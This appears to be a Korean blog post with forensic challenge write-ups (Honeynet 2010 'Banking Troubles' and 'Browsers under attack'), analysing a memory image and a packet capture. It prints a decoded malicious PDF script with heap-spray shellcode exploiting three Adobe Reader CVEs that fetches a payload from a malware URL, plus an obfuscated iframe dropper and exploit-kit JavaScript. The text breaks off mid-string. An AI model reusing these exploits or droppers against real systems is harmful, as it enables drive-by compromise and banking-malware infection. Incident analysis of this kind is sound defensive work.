001011010011101100001001100010011010111110110010001000001001010100010111000011100011000100011001101001010001110110000101100111100011101110000111101111110011001100011111000011100011100000010010100011011000000010000111000110110010101100101001001010001010111000011011100111001010000100110100100010011000101000010111000001111011100010101110101110001000000010001010100111100011000100011010101011100010000000000100000100000010011110001001101000111011000000011001000111111011110010111010001101101001100000000111000000010010001100010110001100111001101010000100000011101010100100001000101110111011001000001011100111010000100110101101000101000011110010000011000111000001001100111000001111100001000000010110100101111001101010000110101101001001110000011111100110110010111000011011000011111000010000000111100011001011111110101000001110110001110000011011100111001001000010000101001001100010001100011111100100011011000010100100101000101011110010011011100110000011001110111110101111101011111000011100000011110010111100101110001110100011111110010101100111000011110000101111001110110000011110000101100111000010101110010000001101011000001000011010100001101011110110111010101000000010110100011010000100000011000100110000101110101010010010000111100111101011111000101111000101100010000110001011000000101010110000111010101110010001001110001000100011100011000100101000101011001011001110011101100111011011100010110001100001100011000100011111100100101010001110111010100001100011000110000011000111010011001000100011101101100010111000000110000100111010101000111000000000101001111010000110100010010010001010110000000100011001100000001111100011111000101110010111101101000000111100010111000000011010100010100010001010011011001110010110000111000000010000111100101111111011101000000111000011000010000000110000001000110011000110001101100110100001100010001110000010010010101000010110100101100010111100111100101110010000101100010110100101100011100000111111100001110000101100000100100110100000000010011000000101001000100010010111100111110010101000010001101011100010000010001100000100011011001100111000100110000010101000001110100011100011111110011011100110100010000000001101000111000010100110111101101000001001010000011011100010000010100010100011101101011011001100000010000110110010100100101110000100001011111110000100000000011011100100010011101001011001110000011011000110001011010110000110001111001011111000011100000100110011100100000111001100101010001110000101000010110001101110100000101011100011000100010101000111000010100010111111001110110001010100011111100001100010111000100101001001000000001000011000000000000011111100001011100000010010101000010101100010001010110000110001001100011001100010011110100110100011101110010101100101101011000110000011000000001010001110111011101011111000010000010100100101101010101110111111101110010011011110000110100111111010001110100101000000111010011100000010000110111011011010011000100001011000101000001011000110000001100010111010101100011000001110001001100011000000010000000110000001010010110100010100000010010001011100011011000101110001010000000101100100001000010000110011001001001010101000011101000110001001001010101001001000000001110100011111100011111000011110000000100011111011110100001111100101101001001010111110101110101000010110001001000011100010000110000101101111110010000100011100000101111011100100110101101011101011001100000110000111110010001100100111000010111001000010011111000011011011111110111011101011110010011000000100000000111001000000101011000100011000110110010111100101101011011010001001101111001001011010010110000000111010110100100000100000010011111010010101000100110010111010111000101000000011010100010111000111100011000110000010001110101001000110011101100110010010110100101000101010111001111000001101100101111011100010101100101000100011111010011010100100001011110100000000001011100011100010001011000001100010000010100001101011001000101110000111000000001011111100011011000001111011011110001111100110010011101010001010001100011001100000001011100011010001111100011000000100110000011100001100100010010010111100101100001111011011110100011011000000010011011000111100001101111011111010011000100100011000001100111101001110101010101110011010000010011011100100101111101111011011001100010100000100000011011000000100001001111010110110000101100011011010001100100111001000001011110000001101100010001001100010101101001111110011111000011100100010110011010010101100101111101001001000011101100111011010111110101100000011011011100000000010000011111011100000111110101000011011100010001101100110111011101110111011100100011011101100000010100111111011100110000001101010101000011000000011000111110001100100001010001100100010000100011000100000010010101000101000101011110010000010000100100110110010100000111111001110111001100110001000000010110010100100110001000000000000100100001101100010110000101010111100101100111010101010000101000100101000101110000010001001110010011000000101100011001010100100010101001101110000110110000111100101111010110000100001000111110000000110001000100101101011000110100011101011111010001000010010000111010001111110010110000000011011000010000011000110110000100100100011100010011001000000001100100100111000101100000110001110000010010000000011000100101011010000111101101110010011101000010101000000111010011010100010001110111010111010000111000011111010110000110011001000110011011100001011000110010010101110010100101001011001100000 위 코드를 풀면 아래와 같이 나온다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function OzWJi(rzRoI,fxLUb){while(rzRoI.length*2\u0026lt;fxLUb){rzRoI+=rzRoI;} return rzRoI.substring(0,fxLUb/2);} function bSuTN(){var Uueqk=sly(\u0026#34;\\uC033\\u8B64\\u3040\\u0C78\\u408B\\u8B0C\\u1C70\\u8BAD\\u0858\\u09EB\\u408B\\u8D34\\u7C40\\u588B\\u6A3C\\u5A44\\uE2D1\\uE22B\\uEC8B\\u4FEB\\u525A\\uEA83\\u8956\\u0455\\u5756\\u738B\\u8B3C\\u3374\\u0378\\u56F3\\u768B\\u0320\\u33F3\\u49C9\\u4150\\u33AD\\u36FF\\uBE0F\\u0314\\uF238\\u0874\\uCFC1\\u030D\\u40FA\\uEFEB\\u3B58\\u75F8\\u5EE5\\u468B\\u0324\\u66C3\\u0C8B\\u8B48\\u1C56\\uD303\\u048B\\u038A\\u5FC3\\u505E\\u8DC3\\u087D\\u5257\\u33B8\\u8ACA\\uE85B\\uFFA2\\uFFFF\\uC032\\uF78B\\uAEF2\\uB84F\\u2E65\\u7865\\u66AB\\u6698\\uB0AB\\u8A6C\\u98E0\\u6850\\u6E6F\\u642E\\u7568\\u6C72\\u546D\\u8EB8\\u0E4E\\uFFEC\\u0455\\u5093\\uC033\\u5050\\u8B56\\u0455\\uC283\\u837F\\u31C2\\u5052\\u36B8\\u2F1A\\uFF70\\u0455\\u335B\\u57FF\\uB856\\uFE98\\u0E8A\\u55FF\\u5704\\uEFB8\\uE0CE\\uFF60\\u0455\\u7468\\u7074\\u2F3A\\u732F\\u6165\\u6372\\u2D68\\u656E\\u7774\\u726F\\u2D6B\\u6C70\\u7375\\u632E\\u6D6F\\u6C2F\\u616F\\u2E64\\u6870\\u3F70\\u3D61\\u2661\\u7473\\u493D\\u746E\\u7265\\u656E\\u2074\\u7845\\u6C70\\u726F\\u7265\\u3620\\u302E\\u6526\\u323D\\u0000%25%30%25%30%25%30%25%30%25%30%25%30\u0026#34;);var HWXsi=202116108;var ZkzwV=[];var HsVTm=4194304;var EgAxi=Uueqk.length*2;var fxLUb=HsVTm-(EgAxi+0x38);var rzRoI=sly(\u0026#34;\\u9090\\u9090\u0026#34;);rzRoI=OzWJi(rzRoI,fxLUb);var tfFQG=(HWXsi-4194304)/HsVTm;for(var gtqHE=0;gtqHE\u0026lt;tfFQG;gtqHE++){ZkzwV[gtqHE]=rzRoI+Uueqk;} var eHmqR=sly(\u0026#34;\\u0c0c\\u0c0c\u0026#34;);while(eHmqR.length\u0026lt;44952)eHmqR+=eHmqR;this.collabStore=Collab.collectEmailInfo({subj:\u0026#34;\u0026#34;,msg:eHmqR});} function Soy(){var dwl=new Array();function ppu(BtM,dqO){while(BtM.length*2\u0026lt;dqO){BtM+=BtM;} BtM=BtM.substring(0,dqO/2);return BtM;} XrS=0x30303030;HRb=sly(\u0026#34;\\uC033\\u8B64\\u3040\\u0C78\\u408B\\u8B0C\\u1C70\\u8BAD\\u0858\\u09EB\\u408B\\u8D34\\u7C40\\u588B\\u6A3C\\u5A44\\uE2D1\\uE22B\\uEC8B\\u4FEB\\u525A\\uEA83\\u8956\\u0455\\u5756\\u738B\\u8B3C\\u3374\\u0378\\u56F3\\u768B\\u0320\\u33F3\\u49C9\\u4150\\u33AD\\u36FF\\uBE0F\\u0314\\uF238\\u0874\\uCFC1\\u030D\\u40FA\\uEFEB\\u3B58\\u75F8\\u5EE5\\u468B\\u0324\\u66C3\\u0C8B\\u8B48\\u1C56\\uD303\\u048B\\u038A\\u5FC3\\u505E\\u8DC3\\u087D\\u5257\\u33B8\\u8ACA\\uE85B\\uFFA2\\uFFFF\\uC032\\uF78B\\uAEF2\\uB84F\\u2E65\\u7865\\u66AB\\u6698\\uB0AB\\u8A6C\\u98E0\\u6850\\u6E6F\\u642E\\u7568\\u6C72\\u546D\\u8EB8\\u0E4E\\uFFEC\\u0455\\u5093\\uC033\\u5050\\u8B56\\u0455\\uC283\\u837F\\u31C2\\u5052\\u36B8\\u2F1A\\uFF70\\u0455\\u335B\\u57FF\\uB856\\uFE98\\u0E8A\\u55FF\\u5704\\uEFB8\\uE0CE\\uFF60\\u0455\\u7468\\u7074\\u2F3A\\u732F\\u6165\\u6372\\u2D68\\u656E\\u7774\\u726F\\u2D6B\\u6C70\\u7375\\u632E\\u6D6F\\u6C2F\\u616F\\u2E64\\u6870\\u3F70\\u3D61\\u2661\\u7473\\u493D\\u746E\\u7265\\u656E\\u2074\\u7845\\u6C70\\u726F\\u7265\\u3620\\u302E\\u6526\\u313D\\u0000\\u0000%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26\u0026#34;);var jxU=4194304;var RaR=HRb.length*2;var dqO=jxU-(RaR+0x38);var BtM=sly(\u0026#34;\\u9090\\u9090\u0026#34;);BtM=ppu(BtM,dqO);var JYD=(XrS-4194304)/jxU;for(var Prn=0;Prn\u0026lt;JYD;Prn++){dwl[Prn]=BtM+HRb;} var IdI=\u0026#34;66055447950636260127\u0026#34;;for(sly=0;sly\u0026lt;138*2;sly++){IdI+=\u0026#34;3\u0026#34;;} util.printf(\u0026#34;%45000f\u0026#34;,IdI);} function ynu(shG) {shG=shG.replace(/[\\+1]/g,\u0026#34;0\u0026#34;);shG=shG.replace(/[\\+2]/g,\u0026#34;9\u0026#34;);shG=shG.replace(/[\\+3]/g,\u0026#34;8\u0026#34;);shG=shG.replace(/[\\+4]/g,\u0026#34;7\u0026#34;);shG=shG.replace(/[\\+5]/g,\u0026#34;6\u0026#34;);shG=shG.replace(/[\\+6]/g,\u0026#34;5\u0026#34;);shG=shG.replace(/[\\+7]/g,\u0026#34;4\u0026#34;);shG=shG.replace(/[\\+8]/g,\u0026#34;3\u0026#34;);shG=shG.replace(/[\\+9]/g,\u0026#34;2\u0026#34;);shG=shG.replace(/[\\+0]/g,\u0026#34;1\u0026#34;);return shG;} function XiIHG(){var cqcNr=sly(\u0026#34;\\uC033\\u8B64\\u3040\\u0C78\\u408B\\u8B0C\\u1C70\\u8BAD\\u0858\\u09EB\\u408B\\u8D34\\u7C40\\u588B\\u6A3C\\u5A44\\uE2D1\\uE22B\\uEC8B\\u4FEB\\u525A\\uEA83\\u8956\\u0455\\u5756\\u738B\\u8B3C\\u3374\\u0378\\u56F3\\u768B\\u0320\\u33F3\\u49C9\\u4150\\u33AD\\u36FF\\uBE0F\\u0314\\uF238\\u0874\\uCFC1\\u030D\\u40FA\\uEFEB\\u3B58\\u75F8\\u5EE5\\u468B\\u0324\\u66C3\\u0C8B\\u8B48\\u1C56\\uD303\\u048B\\u038A\\u5FC3\\u505E\\u8DC3\\u087D\\u5257\\u33B8\\u8ACA\\uE85B\\uFFA2\\uFFFF\\uC032\\uF78B\\uAEF2\\uB84F\\u2E65\\u7865\\u66AB\\u6698\\uB0AB\\u8A6C\\u98E0\\u6850\\u6E6F\\u642E\\u7568\\u6C72\\u546D\\u8EB8\\u0E4E\\uFFEC\\u0455\\u5093\\uC033\\u5050\\u8B56\\u0455\\uC283\\u837F\\u31C2\\u5052\\u36B8\\u2F1A\\uFF70\\u0455\\u335B\\u57FF\\uB856\\uFE98\\u0E8A\\u55FF\\u5704\\uEFB8\\uE0CE\\uFF60\\u0455\\u7468\\u7074\\u2F3A\\u732F\\u6165\\u6372\\u2D68\\u656E\\u7774\\u726F\\u2D6B\\u6C70\\u7375\\u632E\\u6D6F\\u6C2F\\u616F\\u2E64\\u6870\\u3F70\\u3D61\\u2661\\u7473\\u493D\\u746E\\u7265\\u656E\\u2074\\u7845\\u6C70\\u726F\\u7265\\u3620\\u302E\\u6526\\u333D\\u0000\\u1334\\u1334\u0026#34;);dPl=sly(\u0026#34;\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\u0026#34;)+cqcNr;FQI=sly(\u0026#34;\\u9090\\u9090\u0026#34;);fhT=5*2;sLa=fhT+dPl.length;while(FQI.length\u0026lt;sLa)FQI+=FQI;NJn=FQI.substring(0,sLa);eUq=FQI.substring(0,FQI.length-sLa);while(eUq.length+sLa\u0026lt;0x40000)eUq=eUq+eUq+NJn;Cwy=[];for(XWT=0;XWT\u0026lt;180;XWT++)Cwy[XWT]=eUq+dPl;var kKG=4012;var LwZ=Array(kKG);for(XWT=0;XWT\u0026lt;kKG;XWT++) {LwZ[XWT]=sly(\u0026#34;\\u000a\\u000a\\u000a\\u000a\u0026#34;);} Collab.getIcon(LwZ+\u0026#34;_N.bundle\u0026#34;);} var sly=unescape,ZgA=app.viewerVersion.toString(),TjP=this;if(ZgA\u0026lt;8) {bSuTN();} if(ZgA\u0026gt;=8\u0026amp;\u0026amp;ZgA\u0026lt;9) {Soy();} if(ZgA\u0026lt;=9) {XiIHG();} Adobe Reader 버전이 8보다 작으면 아래 취약점을 이용한다. bSuTN() : Collab.collectEmailInfo / CVE-2007-5659\nAdobe Reader 버전이 8 이거나 8보다 크고 9보다 작을 경우 아래 취약점을 이용한다. Soy() : util.printf / CVE-2008-2992\nAdobe Reader 버전이 9 이거나 9보다 작을 경우 아래 취약점을 이용한다. XiIHG() : Collab.getIcon / CVE-2009-0927\n추가로 최종적으로 연결하는 URL은 아래와 같다. http://search-network-plus.com/load.php?a=a\u0026st=Internet Explorer 6.0\u0026amp;e=x\nQ7. List suspicious files that were loaded by any processes on the victim’s machine. From this information, what was a possible payload of the initial exploit be that would be affecting the victim’s bank account? (2pts) 3번에서 저장한 output 파일을 이용하여 위 Exploit 코드에서 접근하는 URL을 검색하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 D:\\Security Tools\\Forensic\\Volatility-1.3_Beta\u0026gt;cat output | grep search-network http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0 http://search-network-plus.com/favicon.ico http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=1 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 http://search-network-plus.com/load.php?a=a\u0026amp;st=Internet Explorer 6.0\u0026amp;e=2 . . [생략] 그리고 PID가 1752인 프로세스와 관련된 파일을 검색하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 D:\\Security Tools\\Forensic\\Volatility-1.3_Beta\u0026gt;c:\\Python27\\python.exe volatility files -p 1752 -f Bob.vmem Pid: 1752 File \\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9 File \\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9 File \\lsarpc File \\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\Acr107.tmp File \\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\Acr106.tmp File \\Program Files\\Adobe\\Acrobat 6.0\\Resource\\Font File \\Program Files\\Adobe\\Acrobat 6.0\\Resource\\CMap File \\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9 File \\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\Acr10C.tmp File \\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\plugtmp\\PDF.php File \\Program Files\\Adobe\\Acrobat 6.0\\Reader\\Messages\\ENU\\RdrMsgENU.pdf File \\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\Acr110.tmp File \\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9 File \\Documents and Settings\\Administrator\\Application Data\\AdobeUM File \\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9 File \\Documents and Settings\\Administrator\\Local Settings\\Temporary Internet Files\\Content.IE5\\index.dat File \\Documents and Settings\\Administrator\\Cookies\\index.dat File \\Documents and Settings\\Administrator\\Local Settings\\History\\History.IE5\\index.dat File \\Endpoint File \\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9 File \\ROUTER File \\ROUTER File \\Endpoint File \\AsyncConnectHlp 위 목록에서 DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\plugtmp\\PDF.php 경로의 파일을 확인할 수 있다.\nQ8. If any suspicious files can be extracted from an injected process, do any anti-virus products pick up the suspicious executable? What is the general result from anti-virus products? (6pts) 파일이 추출이 가능한가? 음.\nQ9. Are there any related registry entries associated with the payload? (4pts) 레지스트리는 Volatility 플러그인을 이용하여 풀 수 있다. 아래 경로에서 Memory Registry Tools 을 받도록 하자. http://moyix.blogspot.com/2009/01/memory-registry-tools.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 D:\\Security Tools\\Forensic\\Volatility\u0026gt;c:\\Python27\\python.exe volatility hivescan -f Bob.vmem Offset (hex) 44658696 0x2a97008 44686176 0x2a9db60 48529416 0x2e48008 55269896 0x34b5a08 57399112 0x36bd748 59082008 0x3858518 70588752 0x4351950 111029088 0x69e2b60 114539360 0x6d3bb60 121604960 0x73f8b60 180321120 0xabf7b60 191408992 0xb68ab60 244959264 0xe99c820 D:\\Security Tools\\Forensic\\Volatility\u0026gt;c:\\Python27\\python.exe volatility hivelist -f Bob.vmem -o 0x2a97008 Address Name 0xe1d6cb60 \\Documents and Settings\\Administrator\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat 0xe1de0b60 \\Documents and Settings\\Administrator\\NTUSER.DAT 0xe1769b60 \\Documents and Settings\\LocalService\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat 0xe17deb60 \\Documents and Settings\\LocalService\\NTUSER.DAT 0xe1797b60 \\Documents and Settings\\NetworkService\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat 0xe17a3820 \\Documents and Settings\\NetworkService\\NTUSER.DAT 0xe1526748 \\WINDOWS\\system32\\config\\software 0xe15a3950 \\WINDOWS\\system32\\config\\default 0xe151ea08 \\WINDOWS\\system32\\config\\SAM 0xe153e518 \\WINDOWS\\system32\\config\\SECURITY 0xe139d008 [no name] 0xe1035b60 \\WINDOWS\\system32\\config\\system 0xe102e008 [no name] D:\\Security Tools\\Forensic\\Volatility\u0026gt;c:\\Python27\\python.exe volatility printkey -f Bob.vmem -o 0xe1526748 \u0026#34;Microsoft\\Windows NT\\CurrentVersion\\Winlogon\u0026#34; Key name: Winlogon (Stable) Last updated: Sun Feb 28 05:12:34 2010 Subkeys: GPExtensions (Stable) Notify (Stable) SpecialAccounts (Stable) Credentials (Volatile) Values: REG_DWORD AutoRestartShell : 1 (Stable) REG_SZ DefaultDomainName : BOB-DCADFEDC55C (Stable) REG_SZ DefaultUserName : Administrator (Stable) REG_SZ LegalNoticeCaption : (Stable) REG_SZ LegalNoticeText : (Stable) REG_SZ PowerdownAfterShutdown : 0 (Stable) REG_SZ ReportBootOk : 1 (Stable) REG_SZ Shell : Explorer.exe (Stable) REG_SZ ShutdownWithoutLogon : 0 (Stable) REG_SZ System : (Stable) REG_SZ Userinit : C:\\WINDOWS\\system32\\userinit.exe,C:\\WINDOWS\\system32\\sdra64.exe, (Stable) REG_SZ VmApplet : rundll32 shell32,Control_RunDLL \u0026#34;sysdm.cpl\u0026#34; (Stable) REG_DWORD SfcQuota : 4294967295 (Stable) REG_SZ allocatecdroms : 0 (Stable) REG_SZ allocatedasd : 0 (Stable) REG_SZ allocatefloppies : 0 (Stable) REG_SZ cachedlogonscount : 10 (Stable) REG_DWORD forceunlocklogon : 0 (Stable) REG_DWORD passwordexpirywarning : 14 (Stable) REG_SZ scremoveoption : 0 (Stable) REG_DWORD AllowMultipleTSSessions : 1 (Stable) REG_EXPAND_SZ UIHost : logonui.exe (Stable) REG_DWORD LogonType : 1 (Stable) REG_SZ Background : 0 0 0 (Stable) REG_SZ AutoAdminLogon : 0 (Stable) REG_SZ DebugServerCommand : no (Stable) REG_DWORD SFCDisable : 0 (Stable) REG_SZ WinStationsDisabled : 0 (Stable) REG_DWORD HibernationPreviouslyEnabled : 1 (Stable) REG_DWORD ShowLogonOptions : 0 (Stable) REG_SZ AltDefaultUserName : Administrator (Stable) REG_SZ AltDefaultDomainName : BOB-DCADFEDC55C (Stable) ","date":"2011-04-01T20:01:54Z","permalink":"/2011/04/01/challenge-3-of-the-forensic-challenge-2010-banking-troubles/","title":"Challenge 3 of the Forensic Challenge 2010 - Banking Troubles"},{"content":"두번째 문제이다. 이번 문제는 평소에 자주 분석하던 유형의 문제라 재밌게 푼거 같다. URL : http://www.honeynet.org/challenges/2010_2_browsers_under_attack\nQ1. List the protocols found in the capture. What protocol do you think the attack is/are based on? (2pts) 전체 패킷이 745개 이며 이중 553개가 TCP 프로토콜이며 이중 126개가 HTTP 프로토콜이다. 따라서 HTTP를 통해 공격이 이루어 졌을것으로 보인다. 확인은 Wireshark에서 \u0026quot;Protocol Hierarchy\u0026quot; 메뉴를 통해 확인할 수 있다.\nQ2. List IPs, hosts names / domain names. What can you tell about it - extrapolate? What to deduce from the setup? Does it look like real situations? (4pts) 음?\nQ3. List all the web pages. List those visited containing suspect and possibly malicious javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages (6pts) 해당 덤프에서 접속한 기록이 있는 URL 리스트는 아래와 같다.\nrapidshare.com.eyu32.ru sploitme.com.cn www.honeynet.org www.google-analytics.com www.google.com www.google.fr clients1.google.fr shop.honeynet.sg\n이 중 rapidshare.com.eyu32.ru/login.php 페이지 소스 중 아래와 같은 코드가 포함되어 있다.\n1 eval(function(p,a,c,k,e,r){e=function(c){return(c\u0026lt;a?\u0026#39;\u0026#39;:e(parseInt(c/a)))+((c=c%a)\u0026gt;35?String.fromCharCode(c+29):c.toString(36))};if(!\u0026#39;\u0026#39;.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\u0026#39;\\\\w+\u0026#39;};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\u0026#39;\\\\b\u0026#39;+e(c)+\u0026#39;\\\\b\u0026#39;,\u0026#39;g\u0026#39;),k[c]);return p}(\u0026#39;q.r(s(\u0026#34;%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c%k%0%2%7%1%l%3%k%7%l%3%m%b%t%3%c%0%3%u%4%v%6%1%f%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%g%1%m%a%p%h%b%0%6%d%e%7%1%p%C\u0026#34;));\u0026#39;,39,39,\u0026#39;69|65|74|63|3D|68|66|6D|20|73|22|2F|6C|72|61|62|64|3C|70|3A|6F|2E|6E|31|79|3E|document|write|unescape|3F|6B|33|35|36|32|77|67|76|0A\u0026#39;.split(\u0026#39;|\u0026#39;),0,{})); 이 코드를 풀면 아래와 같이 나오게 된다.\n1 \u0026lt;iframe src=\u0026#34;http://sploitme.com.cn/?click=3feb5a6b2f\u0026#34;width=1 height=1 style=\u0026#34;visibility: hidden\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; 해당 페이지로 인해 http://sploitme.com.cn/?click=3feb5a6b2f 페이지로 접속하게 된다. 접속을 하면 없는 302 에러가 나며 해당 요청은 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 GET /?click=3feb5a6b2f HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://rapidshare.com.eyu32.ru/login.php Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: sploitme.com.cn Connection: Keep-Alive HTTP/1.1 302 Found Date: Tue, 02 Feb 2010 19:05:43 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch X-Powered-By: PHP/5.2.6-2ubuntu4.6 Cache-Control: no-cache, must-revalidate Expires: Sat, 26 Jul 1997 05:00:00 GMT Location: http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 20 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Location으로 인해 http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f URL로 이동하게 되며 해당 페이지 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//IETF//DTD HTML 2.0//EN\u0026#34;\u0026gt; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt; \u0026lt;meta name=\u0026#34;robots\u0026#34; content=\u0026#34;noindex\u0026#34;\u0026gt; \u0026lt;title\u0026gt;404 Not Found\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt;\u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Not Found\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;The requested URL /fg/show.php?s=3feb5a6b2f was not found on this server.\u0026lt;/p\u0026gt; \u0026lt;script language=\u0026#39;JavaScript\u0026#39;\u0026gt; \u0026lt;!-- var CRYPT={signature:\u0026#39;CGerjg56R\u0026#39;,_keyStr:\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\u0026#39;,decode:function(input){var output=\u0026#39;\u0026#39;;var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\\+\\/\\=]/g,\u0026#39;\u0026#39;);while(i\u0026lt;input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1\u0026lt;\u0026lt;2)|(enc2\u0026gt;\u0026gt;4);chr2=((enc2\u0026amp;15)\u0026lt;\u0026lt;4)|(enc3\u0026gt;\u0026gt;2);chr3=((enc3\u0026amp;3)\u0026lt;\u0026lt;6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);} if(enc4!=64){output=output+String.fromCharCode(chr3);}} output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string=\u0026#39;\u0026#39;;var i=0;var c=0,c1=0,c2=0,c3=0;while(i\u0026lt;utftext.length){c=utftext.charCodeAt(i);if(c\u0026lt;128){string+=String.fromCharCode(c);i++;}else if((c\u0026gt;191)\u0026amp;\u0026amp;(c\u0026lt;224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c\u0026amp;31)\u0026lt;\u0026lt;6)|(c2\u0026amp;63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c\u0026amp;15)\u0026lt;\u0026lt;12)|((c2\u0026amp;63)\u0026lt;\u0026lt;6)|(c3\u0026amp;63));i+=3;}} return string;},obfuscate:function(str){var container=\u0026#39;\u0026#39;;for(var i=0,z=0;i\u0026lt;str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));} return CRYPT.decode(container);}} eval(CRYPT.obfuscate(\u0026#39;15718118723119515413516618011712320419515616016915315318717920118519121412814219818916118919619120014010319016512218716218117015316918011714920521417721117115218712018220022319221212612213017014421018421120110414013014618017522919519010616815618819022219117416817212916618312816822319615215116316011516818817122317612213219315715817922818918911816515715518715120319417615615319115319118120115915215112520112217117318815920410412819016615515023119619115215716315414914921119419316114115112417619822319220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919016420921414313719012217117318815920410412819016615515023119619115215716315414914921119419316114115112417619822319220915312118517215518822221220216211120416512119116218221115713216613617518620017616815812916618312819016417615114210418517816118422216120312512813516812217522220518710217117215517020420117515213013715414911920018418021115214216817517015219521717813717013915612117116219515315616517215017915621619415211012119117518017618618021115213813012416921120022120112016220315715918316320521210515915913414415621321518917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221317416016314417014917319020121820715412213018714521118716317615817016015615918322518221312715818017615321921218920616513015315717519918618421112813819818816118918322320210314019915713820523120619017316915715118721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618311814520921417818917415218713311920022